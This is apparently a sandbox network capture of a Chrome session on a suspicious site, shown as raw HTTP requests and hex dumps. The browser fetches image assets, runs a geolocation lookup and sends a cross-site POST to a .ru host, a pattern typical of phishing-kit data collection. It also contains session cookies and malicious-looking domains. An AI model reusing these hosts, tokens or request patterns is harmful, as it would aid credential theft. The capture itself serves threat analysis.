2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 Data Ascii: 28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L1
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 Data Ascii: 08 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122
2024-08-23 14:21:58 UTC	1211	IN	Data Raw: 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 Data Ascii: .2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.7
2024-08-23 14:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.16	49819	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1551	OUT	GET /stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	674	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vkaGT0u4KYY2AOxdC71esWI%2F%2FIG3l%2Fei7cNImaPuifibMRtwzWA0IihOYa0C5XCQ6%2BJ7P9c0BObN%2BnxQFBbThm1imMSoKPlKuIlmIoWwFSLP7l9DYF4nuQ9uYPfiIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc08468505590-EWR
2024-08-23 14:21:58 UTC	695	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.16	49823	172.67.70.233	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:58 UTC	350	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:58 UTC	909	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: e92507ca83cd871e48ab96036b0beec7-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y14vjna6lNi4NA82pH94wHY5EE6BBCQyYMaCcrf1Jfj7VUkyhYto7Fy530Hqt16sqqoAXBdLFaYD%2FzDsc8lMVoL2zGIOiqON2dqloJOozOSHdgArFg683%2Bw%2Bnv16hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8b7bc0884b2f78d9-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:58 UTC	332	IN	Data Raw: 31 34 35 0d 0a 7b 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 33 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 38 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 Data Ascii: 145{"region":"New York","latitude":"40.7123","longitude":"-74.0068","accuracy":20,"organization_name":"LEVEL3","city":"New York","organization":"AS3356 LEVEL3","ip":"8.46.123.33","asn":3356,"area_code":"0","timezone":"America\/New_York","country_code":"
2024-08-23 14:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.16	49824	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:58 UTC	1115	OUT	GET /rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:22:01 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:22:01 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VaLQK5licdMDU6ouHim%2BOI1pD0kZISJorYk%2BjOMNLleyIq%2FEFT9K2jLHpYfGihhIzUdJbrJiHKZcGjQIXHez%2BM%2FwFxqr2E6aWQvBCTh%2BhjF7wmBOkgBL1q7GKvNWGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0887d4d0fa8-EWR
2024-08-23 14:22:01 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-08-23 14:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.16	49825	172.67.151.50	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:58 UTC	749	OUT	POST /cmwhNKwHmklilXCQnLOGZJZYiqyrdVIVCMLVPGNRGUOUYLUPAOUAGZHTXXERYRPZXPGQKQMCIBCEUIGAMONSEpqnZWaNKN7Fq8J4htH12yExBuv35 HTTP/1.1 Host: plsu.cacbbt.ru Connection: keep-alive Content-Length: 121 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
